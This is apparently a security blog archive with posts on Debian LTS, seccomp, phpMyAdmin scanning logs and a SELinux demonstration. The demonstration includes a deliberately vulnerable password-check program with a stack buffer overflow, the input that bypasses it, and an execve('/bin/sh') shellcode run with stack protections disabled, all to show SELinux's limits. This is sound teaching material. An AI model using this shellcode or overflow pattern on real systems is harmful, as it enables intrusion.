Showing posts with label security. Show all posts
Showing posts with label security. Show all posts

Sunday, November 16, 2014

Debian LTS - przedłużone wsparcie dla poprawek bezpieczeństwa

Parę miesięcy temu zakończył się okres wsparcia poprawek bezpieczeństwa dla systemu Debian 6 Squeeze, co wielu użytkowników bardzo martwi, zwłaszcza tych, którzy używają system w firmach i instytucjach. Debian należy do bardzo popularnych dystrybucji wybieranych przez wielu największych graczy w świeci sieciowych usług, np. hostingi.

Niestety świat idzie szybko do przodu i stara polityka systemu Debian zaczyna niektórych irytować. Mniej więcej rok temu oraz mniej więcej rok przed zakończeniem wsparcia łatek bezpieczeństwa dla Debian Squeeze (czyli w czasie wydania nowej wersji stabilnej Debian 7 Wheezy) jeden z większych hostingów [1] oświadczył, iż zamierza porzucić Debiana przez krótki okres wsparcia łatek bezpieczeństwa. Wieść ta wywołała długą dyskusję wśród developerów Debiana [2], której wynikiem było wprowadzenie inicjatywy dłuższego wsparcia zwanej Debian LTS (Long Term Support) [3].

Z jednej strony to dobra wiadomość ale z drugiej Ubuntu oraz CentOS od dawna posiadają wersje LTS swoich dystrybucji. Jednak między Debianem a wymienionymi dystrybucjami istnieje zasadnicza różnica. Debian jest w pełni projektem społecznościowym, natomiast ze Ubuntu LTS stoi Canonical, a CentOS pobiera łatki z FTP RedHat. Jak widać posiadanie wersji LTS to wspólna cecha dystrybucji oferowanych w modelu enterprise, czyli dla biznesu.

Mimo to deweloperzy Debiana podjęli wyzwanie i od paru miesięcy możemy dodać nowe repozytoria dla wersji 6 (oldstable), aby pobierać nadal łatki bezpieczeństwa po oficjalnym wsparciu:

deb http://http.debian.net/debian/ squeeze-lts main contrib non-free 
deb-src http://http.debian.net/debian/ squeeze-lts main contrib non-free

Projekt LTS rozszerza standardowe wsparcie oferowane przez zespół deweloperów Debiana o dwa lata. Oznacza to, że dzięki tej inicjatywie Debian będzie oferował w sumie 5-cio letnie wsparcie dla łatek bezpieczeństwa. Harmonogram dostępny jest na poniższej stronie [4].

Na tym można by zakończyć i cieszyć się z nowości jaką jest wsparcie LTS w Debianie, ale projekt ten dopiero raczkuje i daleko mu do swoich konkurentów. Otóż na jego realizacje potrzebne są pieniądze, bo jak stwierdzili deweloperzy nie ma co się okłamywać, że w naszym ekonomicznym świecie każdy musi z czegoś żyć. Na dzień dzisiejszy projekt LTS ma kilku sponsorów, których dotacje wystarczają zaledwie na ok 25% potrzeb. Co to oznacza, a no to, że na niektóre łatki bezpieczeństwa w tej chwili trzeba trochę poczekać, ponieważ jest więcej pracy niż pieniędzy (błędy, które nie zostały jeszcze poprawione [5]).

Powstaje więc pytanie, czy Projekt Debiana LTS poradzi sobie ze wyzwaniem, zanim inni zaczną przechodzić na Ubuntu LTS tak jak DreamHost? Czy w czasach, w których system GNU/Linux coraz bardziej asymiluje się ze światem biznesu całkowicie społeczna dystrybucja pozbawiona komercyjnego wsparcia nadąży za konkurencją? Czas pokaże.

[1] http://www.dreamhost.com/dreamscape/2013/06/03/change-is-in-the-air-dreamhost-upgrades/
[2] https://lists.debian.org/debian-devel/2013/08/msg00346.html
[3] https://wiki.debian.org/LTS
[4] http://www.freexian.com/services/debian-lts.html
[5] http://anonscm.debian.org/viewvc/secure-testing/data/dla-needed.txt?revision=HEAD&view=co

Friday, June 28, 2013

What SELinux is not!

If you're interested about the benefits of running SELinux, probably you read the some of documentations where was written something like that:

SElinux is not:
- antivirus software
- firewalls
- an all-in-one security solution

But what this exactly means? Where is the beginning and ends the SELinux protection? To better answering those questions I show two examples, where SELinux is work (block) and where is not. This examples is are a buffer overflow and shellcode. But first we must build a test domain where we can test this examples.


Test domain


The test domain has a minimal privileges to run a simple process via normal system user (and SELinux user "user_u"). We will create a new TE domain as a SELinux policy module. This domain is called process_test_t and we run our two codes example - the buffer overflow and shellcode.

File prosess_test.te:

module process_test 0.1;

require {
        type user_t;
        attribute domain,application_domain_type,ubac_constrained_type,file_type,exec_type,entry_type,non_security_file_type,application_exec_type;
        class file { execute entrypoint };
        class process { transition sigchld  };
}

type process_test_t,
        domain,
        application_domain_type,
        ubac_constrained_type;

type process_test_exec_t,
        file_type,
        exec_type,
        entry_type,
        non_security_file_type,
        application_exec_type;

type_transition user_t process_test_exec_t:process process_test_t;
role user_r types { process_test_exec_t process_test_t };

allow user_t process_test_t:process transition;
allow process_test_t process_test_exec_t:file entrypoint;

allow process_test_t user_t:process sigchld;


# for terminal
require {
        type user_devpts_t,sshd_t;
        class chr_file { read write getattr };
        class fd { use };
        class process { rlimitinh siginh noatsecure  };
}

allow process_test_t user_devpts_t:chr_file { read write } ;
allow process_test_t sshd_t:fd { use };
allow process_test_t user_t:fd { use };
allow user_t process_test_t:process { rlimitinh siginh noatsecure } ;

# getchar()
allow process_test_t user_devpts_t:chr_file { getattr } ;


File prosess_test.fc:

/home/test1/process_test/process_test   --      gen_context(system_u:object_r:process_test_exec_t,s0)


This domain is having only such rights:

root@SELinux:~# sesearch --allow -s process_test_t -d
Found 11 semantic av rules:
   allow process_test_t user_devpts_t : chr_file { read write getattr } ; 
   allow process_test_t sshd_t : fd use ; 
   allow process_test_t user_t : process sigchld ; 
   allow process_test_t user_t : fd use ; 
   allow process_test_t process_test_exec_t : file entrypoint ; 
   allow process_test_t process_test_t : process { fork sigchld } ; 
   allow process_test_t process_test_t : file { ioctl read write getattr lock append open } ; 
   allow process_test_t process_test_t : dir { ioctl read getattr lock search open } ; 
   allow process_test_t process_test_t : lnk_file { ioctl read getattr lock } ; 
   allow process_test_t process_test_t : unix_stream_socket { ioctl read write create getattr setattr append bind connect listen accept getopt setopt shutdown } ; 
   allow process_test_t process_test_t : association sendto ;

So it can't do any bad things and user_u:user_r can run it. The program can run via user_u and wait to user type in a character with getchar().

Ok, now we can build the module. On root (unconfined_t) - in his home directory - create a directory mod_process and write there the two module files: process_test.te and process_test.fc. Then we can compile it:

root@SELinux:~/mod_process_test# make -f /usr/share/selinux/default/include/Makefile process_test.pp

I forget, I do this in Debian Squeeze ;) Remember, you must have install SELinux policy development package.
After build you can load this module:

# semodule -i process_test.pp

Now this command work also with you:

# sesearch --allow -s process_test_t -d

As you can see in the file context (process_test.fc) I choose the location on test code in /home/test1/process_test directory. You can choose different localizations, for test I use system user was called 'test1'. If you choose different location you must change the content in process_test.fc file.

Ok! Now I login as test1 user and create the process_test directory in his home directory:

test1@SELinux:~$ id
uid=1001(test1) gid=1001(test1) groups=1001(test1) context=user_u:user_r:user_t:s0
test1@SELinux:~$ ls -lZd process_test/
drwxr-xr-x. 2 test1 test1 user_u:object_r:user_home_t:s0 4096 Jun 25 21:29 process_test/

Now we can begin the first test.


SELinux and buffer overflow


This is a buffer overflow code. Save it into process_test.c file in process_test directory.

     1 #include <stdio.h>
     2 #include <string.h>
     3
     4 #define TEST 
     5
     6 char *get_correct_pass ()
     7 {
     8 return (char*)"5pW1";
     9 }
    10
    11 int auth ( char *pass )
    12 {
    13 int _auth = 0;
    14 char buff[10];
    15 memset( buff,0,10 );
    16 strcpy( buff, pass );
    17
    18 if ( strcmp( buff,get_correct_pass() ) == 0 ) 
    19 _auth = 1;
    20
    21 return _auth;
    22 }
    23
    24 int main ( int argc, char * argv[] )
    25 {
    26 if ( auth( argv[1] ) )
    27 printf ("access\n");
    28 else
    29 printf ("denied\n");
    30 #ifdef TEST
    31 getchar();
    32 #endif
    33 return 0;
    34 }

Now I little describe this code. This program get a one parameter from line command. This parameter is a passwords. If passwords is correct the program print "access" otherwise print "denied". Correct password is defined in line number 8 ("5pW1").

In line 4 we have TEST declaration, if TEST is declared the program will be wait for a key press (line 31).

The most important function is an auth (line 11). In this function first is declared variable _auth. Second variable is a buff, is having lenght 10 characters.

Because variable buff is declared as second it is above in memory than _auth. This is the reason why overwriting the buff can write the _auth variable (line 16). Program give "access" when function auth() return true (line 26) but any value beyond 0 it's mean TRUE. So if you overwrite _auth variable in some character, each of them have diffrent code from 0.

Let's see in a debugger how overwriting it's work, but before we must compile the code:

test1@SELinux:~/process_test$ gcc -g process_test.c -o process_test

Now we check how to the hex value of "E" character, because I use this character for the test as password.

$ echo 'EEEEEEEEEE' | hexdump 
0000000 4545 4545 4545 4545 4545

Now we run this program in gdb, as parameter we type this password "EEEEEEEEEE" (10x'E').

test1@SELinux:~/process_test$ gdb process_test
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/test1/process_test/process_test...done.
(gdb) list 1
1 #include <stdio.h>
2 #include <string.h>
3
4 #define TEST
5
6 char *get_correct_pass ()
7 {
8 return (char*)"5pW1";
9 }
10
(gdb) list
11 int auth ( char *pass )
12 {
13 int _auth = 0;
14 char buff[10];
15 memset( buff,0,10 );
16 strcpy( buff, pass );
17
18 if ( strcmp( buff,get_correct_pass() ) == 0 )
19 _auth = 1;
20
(gdb) break 18
Breakpoint 1 at 0x40066b: file process_test.c, line 18.
(gdb) run EEEEEEEEEE
Starting program: /home/test1/process_test/process_test EEEEEEEEEE

Breakpoint 1, auth (pass=0x7fffffffe979 "EEEEEEEEEE") at process_test.c:18
18 if ( strcmp( buff,get_correct_pass() ) == 0 ) 
(gdb) x/32wx &buff - 0x1
0x7fffffffe636: 0xe9790000 0x7fffffff 0x45450000 0x45454545
0x7fffffffe646: 0x45454545 0x00000000 0xe6700000 0x7fffffff
0x7fffffffe656: 0x06b90000 0x00000040 0xe7580000 0x7fffffff
0x7fffffffe666: 0x00000000 0x00020000 0x00000000 0x00000000
0x7fffffffe676: 0xbc8d0000 0x7ffff7a9 0x00000000 0x00000000
0x7fffffffe686: 0xe7580000 0x7fffffff 0x00000000 0x00020000
0x7fffffffe696: 0x06970000 0x00000040 0x00000000 0x00000000
0x7fffffffe6a6: 0xb6fe0000 0x5e236504 0x0540ad6d 0x00000040
(gdb) x/wx &_auth
0x7fffffffe64c: 0x00000000
(gdb) quit

Ok, in the red we have ten bytes from the buffer (buff). In the green we have four bytes from the _auth. A distance between them is a two bytes. So, enough add 3 characters in the password to overwrite _auth e.g.:

test1@SELinux:~/process_test$ ./process_test EEEEEEEEEEbbX
access

test1@SELinux:~/process_test$ 

And we have an bingo. So now we know that the buffer overflow it is works. Ok, the next step is a change the context of this program.

root@SELinux:~# matchpathcon /home/test1/process_test/process_test
/home/test1/process_test/process_test system_u:object_r:process_test_exec_t:s0
root@SELinux:~# ls -lZ /home/test1/process_test/process_test
-rwxr-xr-x. 1 test1 test1 user_u:object_r:user_home_t:s0 9159 Jun 26 17:55 /home/test1/process_test/process_test
root@SELinux:~# restorecon -v /home/test1/process_test/process_test
restorecon reset /home/test1/process_test/process_test context user_u:object_r:user_home_t:s0->system_u:object_r:process_test_exec_t:s0
root@SELinux:~# ls -lZ /home/test1/process_test/process_test
-rwxr-xr-x. 1 test1 test1 system_u:object_r:process_test_exec_t:s0 9159 Jun 26 17:55 /home/test1/process_test/process_test

Now we check whether SELinux work in enforcing mode.

root@SELinux:~# getenforce 
Enforcing

And the last we can run this program in DTE, and thanks getchar() function (line 31) we can see who context have program at running.

$ ./process_test EEEEEEEEEExx1
access

Don't press the any key and as root type in:

root@SELinux:~# ps -efZ |grep test1
system_u:system_r:sshd_t:s0-s0:c0.c1023 root 1084 1043  0 17:32 ?      00:00:00 sshd: test1 [priv]
system_u:system_r:sshd_t:s0-s0:c0.c1023 test1 1088 1084  0 17:32 ?     00:00:00 sshd: test1@pts/1
user_u:user_r:user_t:s0         test1     1089  1088  0 17:32 pts/1    00:00:00 -bash
user_u:user_r:process_test_t:s0 test1     1163  1089  0 21:48 pts/1    00:00:00 ./process_test EEEEEEEEEExx1
unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 root 1177 1078  0 21:57 pts/0 00:00:00 grep test1


As you can see process_test run in process_test_t domain (DTE). This process is run by test1 user (user_t), but after that it's work in own domain (process_test_t) and user test1 don't have permission to e.g. kill this (own) proces. You can login as test1 user in second shell and try this:

test1@SELinux:~$ ps -A 
  PID TTY          TIME CMD
 1089 pts/1    00:00:00 bash
 1185 pts/2    00:00:00 bash
 1190 pts/2    00:00:00 ps

Even if you get the PID from root shell you still can't kill them:

test1@SELinux:~$ kill -s 15 1163
-bash: kill: (1163) - Permission denied

And you have such log:

# tail /var/log/audit/audit.log
...
type=AVC msg=audit(1372276812.345:10): avc:  denied  { signal } for  pid=1185 comm="bash" scontext=user_u:user_r:user_t:s0 tcontext=user_u:user_r:process_test_t:s0 tclass=process
...

As you can see the process_test_t domain is very confined. user_t can execute them but can't do anything else - only press the key.

But wait the minute, we run this program in enforcing mode with 13 length password and buffer overflow is work even with SELinux protection. Why this possible?

The answer is in the architecture of operating system. Everything what is going during the buffer overflow technique (at running ./process_test) is going in the process space. This technique is not required interactions with the kernel.
The next examples is better explains that.


SELinux and shellcode


This is a shellcode:

char SC[] =   "\xeb\x1d\x5b\x31\xc0\x67\x89\x43\x07\x67\x89\x5b\x08\x67\x89\x43\x0c"\
"\x31\xc0\xb0\x0b\x67\x8d\x4b\x08\x67\x8d\x53\x0c\xcd\x80\xe8\xde\xff"\
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42"\
"\x42";
    
int 
main (int argc, char **argv)
{
        int (*ret)();
        ret = (int(*)())SC;
            
        (int)(*ret)();
        exit(0);
}

Description of this exploit tells that code execute system function execve(/bin/sh), but how we can check this? We must compile it and run in gdb.
Before we must save this code in shellcode.c.

test1@SELinux:~/process_test$ gcc -g shellcode.c -o shellcode
test1@SELinux:~/process_test$ gdb -q ./shellcode
Reading symbols from /home/test1/process_test/shellcode...done.
(gdb) list 1
1 char SC[] =   "\xeb\x1d\x5b\x31\xc0\x67\x89\x43\x07\x67\x89\x5b\x08\x67\x89\x43\x0c"\
2              "\x31\xc0\xb0\x0b\x67\x8d\x4b\x08\x67\x8d\x53\x0c\xcd\x80\xe8\xde\xff"\
3              "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42"\
4              "\x42";
5  
6 int
7 main (int argc, char **argv)
8 {
9        int (*ret)();             
10        ret = (int(*)())SC;
(gdb) disas SC
Dump of assembler code for function SC:
0x00000000006008c0 <SC+0>: jmp    0x6008df <SC+31>
0x00000000006008c2 <SC+2>: pop    %rbx
0x00000000006008c3 <SC+3>: xor    %eax,%eax
0x00000000006008c5 <SC+5>: addr32 mov %eax,0x7(%ebx)
0x00000000006008c9 <SC+9>: addr32 mov %ebx,0x8(%ebx)
0x00000000006008cd <SC+13>: addr32 mov %eax,0xc(%ebx)
0x00000000006008d1 <SC+17>: xor    %eax,%eax
0x00000000006008d3 <SC+19>: mov    $0xb,%al
0x00000000006008d5 <SC+21>: addr32 lea 0x8(%ebx),%ecx
0x00000000006008d9 <SC+25>: addr32 lea 0xc(%ebx),%edx
0x00000000006008dd <SC+29>: int    $0x80
0x00000000006008df <SC+31>: callq  0x6008c2 <SC+2>
0x00000000006008e4 <SC+36>: (bad)  
0x00000000006008e5 <SC+37>: (bad)  
0x00000000006008e6 <SC+38>: imul   $0x414e6873,0x2f(%rsi),%ebp
0x00000000006008ed <SC+45>: rex.B
0x00000000006008ee <SC+46>: rex.B
0x00000000006008ef <SC+47>: rex.B
0x00000000006008f0 <SC+48>: rex.X
0x00000000006008f1 <SC+49>: rex.X
0x00000000006008f2 <SC+50>: rex.X
0x00000000006008f3 <SC+51>: rex.X add    %al,(%rax)
End of assembler dump.
(gdb) q

This is a assembler code. In the blue I mark the code which clear EAX register and set in a 0xb hex value. 0xb in decimal number is a 11. In the red I mark the holy grail of understand when SELinux is work. In assembly language instruction 'int 0x80' is used when program wants invoke a system calls. In other words that is means the interrupt, this happens when a code flow is switch into system mode. Only then - when program interaction with the system - SELinux can control the process actions (the subject).

Below is a definitions of the system call numbers in file root/arch/x86/include/asm/unistd_32.h from kernel source. On the blue mark we have the number of execve() function.

#ifndef _ASM_X86_UNISTD_32_H
#define _ASM_X86_UNISTD_32_H

/*
 * This file contains the system call numbers.
 */

#define __NR_restart_syscall      0
#define __NR_exit    1
#define __NR_fork    2
#define __NR_read    3
#define __NR_write    4
#define __NR_open    5
#define __NR_close    6
#define __NR_waitpid    7
#define __NR_creat    8
#define __NR_link    9
#define __NR_unlink   10
#define __NR_execve   11
#define __NR_chdir   12
#define __NR_time   13
#define __NR_mknod   14
#define __NR_chmod   15
#define __NR_lchown   16
#define __NR_break   17
#define __NR_oldstat   18
#define __NR_lseek   19
#define __NR_getpid   20

The next what we do is a compile the shellcode without a process memory protections.

root@SELinux:~# rm /home/test1/process_test/process_test
...
test1@SELinux:~/process_test$ gcc -fno-stack-protector -z execstack shellcode.c  -o process_test
...
root@SELinux:~# restorecon -v /home/test1/process_test/process_test
restorecon reset /home/test1/process_test/process_test context user_u:object_r:user_home_t:s0->system_u:object_r:process_test_exec_t:s0
...
test1@SELinux:~/process_test$ ls -lZ process_test
total 24
-rwxr-xr-x. 1 test1 test1 system_u:object_r:process_test_exec_t:s0 6657 Jun 27 21:11 process_test
test1@SELinux:~/process_test$ ./process_test 
^C
test1@SELinux:~/process_test$

And we have such logs:

root@SELinux:~# tail /var/log/audit/audit.log
...
type=AVC msg=audit(1372360361.357:69779): avc:  denied  { search } for  pid=1221 comm="process_test" name="bin" dev=sda1 ino=562 scontext=user_u:user_r:process_test_t:s0 tcontext=system_u:object_r:bin_t:s0 tclass=dir
type=SYSCALL msg=audit(1372360361.357:69779): arch=40000003 syscall=11 per=400000 success=no exit=-13 a0=6008e4 a1=6008ec a2=6008f0 a3=7fff3d5bf1f8 items=0 ppid=1057 pid=1221 auid=4294967295 uid=1001 gid=1001 euid=1001 suid=1001 fsuid=1001 egid=1001 sgid=1001 fsgid=1001 tty=pts1 ses=4294967295 comm="process_test" exe="/home/test1/process_test/process_test" subj=user_u:user_r:process_test_t:s0 key=(null)

The process_test runs in process_test_t domain don't have permission to search the /bin directory. Even if it had this permission it don't have permission to execute a bin_t type object and many others permission required to run /bin/sh.


Summary


Summary of this two examples it show the SELinux is a kernel security mechanism that work only if the process (subject) must use of the system calls to do bad things.

Furthermore you must understand that if a process which has SELinux permission to e.g. write in to /etc/passwd will be crack with technique which work only in the process space the SELinux protections it's not stop it. SELinux check only if a particular process can call a particular system function, but not check when it do this.

So SELinux is not see a diffrent between a normal system call from proces (the orginaly code flows) and a crack call from process (an attacker changes the orginaly code flows). Of course the policy must allow this action for this process.

Wednesday, May 22, 2013

Czym SELinux nie jest

Prezentuje kolejne wideo o SELinux, tym razem staram się odpowiedzieć na pytanie czym SELinux nie jest, czyli przed jakiego typu zagrożeniami nas nie broni.
Jest to tak samo ważne jak to, przed jakimi zagrożeniami SELinux nas chroni.

Przedstawiam jak mogą działać domeny SELinux, oraz jak SELinux ma się do takich technik jak buffer overflow i shellcode. Jeżeli rozważasz wdrożenie SELinux i zastanawiasz się przed czym rzeczywiście ochroni on Twój system, to poniższe wideo jest właśnie dla Ciebie.
 

Wednesday, August 15, 2012

SELinux dla zwykłych śmiertelników - wideo z Red Hat Summit 2012

Temat SELinux poruszany jest coraz częściej na wszelkiego typu konferencjach. Zawsze chodzi o to samo, aby przekonać administratorów, że SELinux nie jest taki straszny i nie "wyłączajcie go".
Sesje prowadzi Thomas Cameron, wspomina również, że w dobraniu "życiowych" przykładów pomagał mu Dan Walsh. Thomas prezentacje poprowadził świetnie, bardzo zabawnie, szczerze to nie pamiętam innej prezentacji na temat SELinux, przy której bym się tak uśmiał.


Wednesday, July 25, 2012

Seccomp (SECure COMPuting with filters)

Trochę ponad pół roku temu pisałem o nowym projekcie zaimplementowanym we FreeBSD 9.0 noszącym nazwę Capsicum, który jest swego rodzaju mechanizmem sandbox framework.

W tamtym czasie w dostępnych publikacjach Capsicum było porównywane do (między innymi) SELinux i seccomp, jako potencjalnie równoważnych technologii w systemie Linux. Seccomp należy do mniej znany rozwiązań, co wynika z jego mniejszych możliwości. Wygląda jednak na to, że w najbliższym czasie ma się to zmienić.

Parę dni temu ukazała się nowa wersja jądra Linux 3.5. Jedną z nowości jest "Seccomp-based system call filtering", czyli rozszerzenie mało używanego mechanizmu seccomp.

Seccomp powstał w 2005 i początkowo miał ograniczać wywoływanie systemowych funkcji przez programy użytkowników do czterech podstawowych: read(), write(), exit() i sigreturn(). W późniejszym czasie Google zadeklarował implementacje swojej przeglądarki Chrome dla systemu Linux. W poszukiwaniu mechanizmów, które mogłyby pozwolić na tworzenie mechanizmów sandbox w przeglądarce Chrome na platformie Linux Google zainteresował się seccomp. Jednak wtedy był on zbyt prymitywny i trochę nadrabiano to przy pomocy SELinux. Nie znaczy to jednak, że Google zrezygnował z seccomp. Rozszerzyli jego funkcjonalność dodając tzw. "mode 2", który pozwalał definiować listę funkcji systemowych, których nie wolno było wywoływać dla procesu.

Nie było to jeszcze zadowalające rozwiązanie, bo o ile jądro kontrolowało operacji procesu np. zapisywanie do pliku, to nie miało żadnej kontroli nad tym do jakiego pliku program mógł zapisywać. Czyli nie kontrolowało kontekstu operacji, oczywiście poza innymi mechanizmami takimi jak prawa do plików.

Tak więc mechanizmem rozwiązującym ten problem jest nowo dodany mechanizm seccomp z filtrami. Powstała koncepcja aby mechanizm seccomp rozszerzyć o możliwość definiowania filtrów, jak w zaporze ogniowej, z tą różnicą że ta dotyczy dostępu do funkcji systemowych a nie socket-ów. Porównanie trafne, bo do implementacji użyto już istniejący i dopracowany pod katem optymalizacji mechanizm filtrowania pakietów BPF (Berkeley Packet Filter).

Teraz seccomp może kontrolować nie tylko typ operacji ale i ich zakres, np. pozwalać na zapis tylko wtedy gdy celem jest standardowe wyjście "sys_write: (fd == 1)". Projekt Chrome zaimplementował już mechanizm snadbox przy użyciu nowej biblioteki libseccomp. Obecnie znane projekty, które już wdrożyły nowe rozwiązanie to vsftpd 3.0.0 oraz OpenSSH 6.0. 17 lipca o implementacji seccomp filtering w swoim projekcie poinformował również deweloper projektu systemd.


Pisząc o seccomp ciągle używa się stwierdzenia "sandbox". Jednak w oficjalnej dokumentacji w prost jest powiedziane, że mechanizm filtrowania funkcji systemowych to nie sandbox. Tak samo sprawa ma się do porównywania z Capsicum i SELinux. Jeżeli chodzi o ten pierwszy to porównanie jest jak najbardziej prawidłowe, ponieważ oba mechanizmy są używane przez programistów w kodzie  programu. Ale Capsicum tworzy swego rodzaju hermetyczne środowisko, a seccomp jest filtrem funkcji systemowych. Efekt jest tylko podobny. SELinux z kolei jest bardziej szerszym rozwiązaniem, dotyczy całego systemu i co najważniejsze jest używanym docelowo przez administratorów. Można go użyć nawet do programów, które nie maja zaimplementowanych żadnych mechanizmów obronnych, albo ograniczyć je jeszcze bardziej tylko do funkcjonalności, z której rzeczywiście korzystamy. W przypadku gdy administrator nie korzysta z SELinux najważniejsze procesy starają bronić się same przez zaprogramowane w nich ograniczenia. Jak widać ma to sens i zysk "ekonomiczny".


Seccomp jest kolejnym mechanizmem zwiększającym szczelność siatki ochronnej oferowanej przez system Linux dla uruchamianych programów.


Więcej informacji:
http://lwn.net/Articles/475043/
http://outflux.net/teach-seccomp/
http://lwn.net/Articles/441232/
http://lwn.net/Articles/332974/



Monday, February 27, 2012

Ochrona phpMyAdmin (i nie tylko) przez ips_outline.py

Ostatnio w logach serwera apache zauważyłem częste próby odgadnięcia ścieżki, pod którą znajduje się phpMyAdmin. Postanowiłem przyjrzeć się problemowi i skonfigurować swój prosty system IPS do reagowania na takie incydenty.

Podczas analizy tego typu zdarzeń zauważyłem faktyczną potrzebę rozszerzenia możliwości mojego skryptu o obsługę wyrażeń regularnych, a dokładnie chodzi o współpracę z AWK.

Tak mogą wyglądać przykładowe logi świadczące o ataku:

60.174.109.133 - - [25/Feb/2012:01:32:41 +0100] "GET //phpmyadmin/ HTTP/1.1" 404 182 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:41 +0100] "GET //phpMyAdmin/ HTTP/1.1" 404 183 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:42 +0100] "GET //myadmin/ HTTP/1.1" 404 180 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:43 +0100] "GET //MyAdmin/ HTTP/1.1" 404 181 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:44 +0100] "GET //admin/ HTTP/1.1" 404 178 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:44 +0100] "GET //Admin/ HTTP/1.1" 404 179 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:46 +0100] "GET //PMA/ HTTP/1.1" 404 178 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:46 +0100] "GET //PMA/ HTTP/1.1" 404 178 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:46 +0100] "GET //phpadmin/ HTTP/1.1" 404 181 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:47 +0100] "GET //mysqladmin/ HTTP/1.1" 404 183 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:48 +0100] "GET //mysql/ HTTP/1.1" 404 179 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:48 +0100] "GET //sqladmin/ HTTP/1.1" 404 181 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:49 +0100] "GET //sql/ HTTP/1.1" 404 177 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:50 +0100] "GET //webadmin/ HTTP/1.1" 404 181 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:50 +0100] "GET //db/ HTTP/1.1" 404 176 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:51 +0100] "GET //dbadmin/ HTTP/1.1" 404 180 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:52 +0100] "GET //mysqldb/ HTTP/1.1" 404 180 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:53 +0100] "GET //webdb/ HTTP/1.1" 404 178 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:53 +0100] "GET //sqlmanager/ HTTP/1.1" 404 183 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:54 +0100] "GET //mysqlmanager/ HTTP/1.1" 404 184 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:55 +0100] "GET //phpmanager/ HTTP/1.1" 404 182 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:55 +0100] "GET //pmadb/ HTTP/1.1" 404 178 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:56 +0100] "GET //admin/phpmyadmin/ HTTP/1.1" 404 184 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:57 +0100] "GET //admin/phpMyAdmin/ HTTP/1.1" 404 186 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:57 +0100] "GET //admin/mysql/ HTTP/1.1" 404 183 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:58 +0100] "GET //admin/pma/ HTTP/1.1" 404 182 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:59 +0100] "GET //mysq/phpmyadmin/ HTTP/1.1" 404 186 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:59 +0100] "GET //phpMyAdmin-3.3.10.2/ HTTP/1.1" 404 190 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:32:59 +0100] "GET //phpMyAdmin-3.3.10.2/ HTTP/1.1" 404 190 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:33:00 +0100] "GET //phpMyAdmin-3.4.2.1/ HTTP/1.1" 404 190 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
60.174.109.133 - - [25/Feb/2012:01:33:00 +0100] "GET //phpMyAdmin-3.4.2.1/ HTTP/1.1" 404 190 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro" 
